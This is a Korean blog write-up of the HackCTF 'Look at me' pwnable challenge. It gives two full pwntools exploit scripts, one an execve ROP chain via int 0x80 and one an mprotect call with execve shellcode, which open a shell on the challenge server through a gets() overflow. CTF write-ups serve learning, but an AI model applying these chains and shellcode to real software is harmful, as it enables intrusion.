[HackCTF] Look at me (재)
System/PWNABLE

[HackCTF] Look at me (재)

 check

- 32bit

- NX

- Partial RELRO

- statically linked library >> 많은 함수들이 바이너리 파일 내에 저장되어 있고 plt와 got 주소가 따로 분리되어 있지않다.

Analyze

pseudo code

look_at_me() 함수

- 0x18byte만큼 할당받은 스택 버퍼 v1에 gets함수를 통해 값을 입력받는다. 이 때 크기 제한이 없기 때문에 오버플로우가 발생할 수 있다.

functions

system 함수와 "/bin/sh" 문자열이 현재 바이너리에 포함되어 있지 않다 + statically linked library

>> system함수 호출이 아닌 다른 방식으로 exploit 할 수 있어야한다! ex. mprotect / execve(int 0x80)

>> "/bin/sh"문자열을 바이너리 내에 저장해야한다. - gets함수를 호출해 "/bin/sh\x00"을 저장할 수 있는 ROP chain을 하나 만들어야한다!

mprotect 함수의 주소는 0x806e0f0

gadgets

먼저, execve() 함수는 존재하지 않았지만, execve()를 호출하는 것과 같은 효과를 주는 int 0x80 가젯을 찾아보려고 한다.

int 0x80 ; ret ; 가젯은 존재한다. >> 0x806f630

pop ebx ; ret ; 가젯 >> 0x80481c9 (연속으로 ebx, ecx, edx를 pop 하는 가젯을 이왕이면 찾으려고 했는데 없었다..ㅠ)

pop ecx ; ret ; 가젯 >> 0x80de955

pop edx ; ret ; 가젯 >> 0x806f02a

pop eax ; ret ; 가젯 >> 0x80b81c6

writable Area

$ objdump -h ./lookatme
bss 영역은 writable한 영역에 있다.

bss 영역: 0x80eaf80 >>  w 권한이 있는 영역에 존재하기 때문에 bss영역에 "/bin/sh" 문자열을 저장하고 사용한다.

Exploit(1) - execve gadget(int 0x80)

execve() 호출 방식

execve 함수에 전달해야하는 인자들이다. 다른 함수 없이 아래의 가젯들만을 이용하여 쉘을 따는 방법이다.

eax 0xb
edx null
ecx null
ebx binsh의 위치
execve int 0x80 가젯

gets 함수를 이용해 "/bin/sh\x00"을 저장할 때는 gets함수를 호출하고 가젯을 이용해 writableArea를 넣어준 후, 사용자로부터 입력받을 수 있도록 한다.

from pwn import *

#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
elf = ELF("./lookatme")
libc = elf.libc

gets = 0x804f120

int80 = 0x806f630
pa = 0x80b81c6
pb = 0x80481c9
pc = 0x80de955
pd = 0x806f02a

writable = 0x80eaf80
binsh = "/bin/sh\x00"

pl = "A"*(0x18 + 4)
pl += p32(gets)
pl += p32(pa)
pl += p32(writable)

pl += p32(pa)
pl += p32(0xb)
pl += p32(pb)
pl += p32(writable)
pl += p32(pc)
pl += p32(0)
pl += p32(pd)
pl += p32(0)
pl += p32(int80)

p.sendlineafter("\n",pl)
p.sendline(binsh)
p.interactive()

성공!

Exploit(2) - mprotect 

mprotect 호출 방식

mprotect 함수는 특정 메모리 영역의 권한을 바꿔주는 함수로, NX가 걸려있는 상황에서도 쉘코드를 저장해 실행시킬 수 있도록 하는 함수이다. addr로 지정해준 주소에서부터 len길이 만큼의 영역까지를 prot 권한으로 바꾼다.

▷ mprotect 함수를 이용해 ROP 기법을 사용하는 내용에 대한 lazenca 정리

addr에는 page의 경계에 맞춰 0x1000의 단위로 지정할 수 있게되어있으므로 쉘코드를 저장할 영역의 앞부분중 가장 가까운 페이지 경계를 addr로 넣는다.

또한 ASLR이 설정되어 있기 때문에 주소값이 계속 바뀌는 stack 영역보다는 고정 주소(bss)를 이용하는 것이 좋다.

from pwn import *
#context.log_level = 'debug'
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
elf = ELF("./lookatme")

gets = elf.symbols['gets']
mprotect = elf.symbols['mprotect']
#gets = 0x804f120
#mprotect = 0x806e0f0
pa = 0x80b81c6
pppr = 0x8091e77

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

writable = 0x80eaf80
addr = 0x80ea000

pl = "A"*(0x18 + 4)

pl += p32(gets)
pl += p32(pa)
pl += p32(writable)

pl += p32(mprotect)
pl += p32(pppr)
pl += p32(addr)
pl += p32(8000)
pl += p32(7)

pl += p32(writable)

p.sendlineafter("\n",pl)
p.sendline(sh)

p.interactive()

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Pwning (재)  (0) 2021.03.08
[HackCTF] Gift  (0) 2021.03.06
[HackCTF] RTL core  (0) 2021.02.14
[HackCTF] Random Key  (0) 2021.02.13
[HackCTF] 1996  (0) 2021.02.13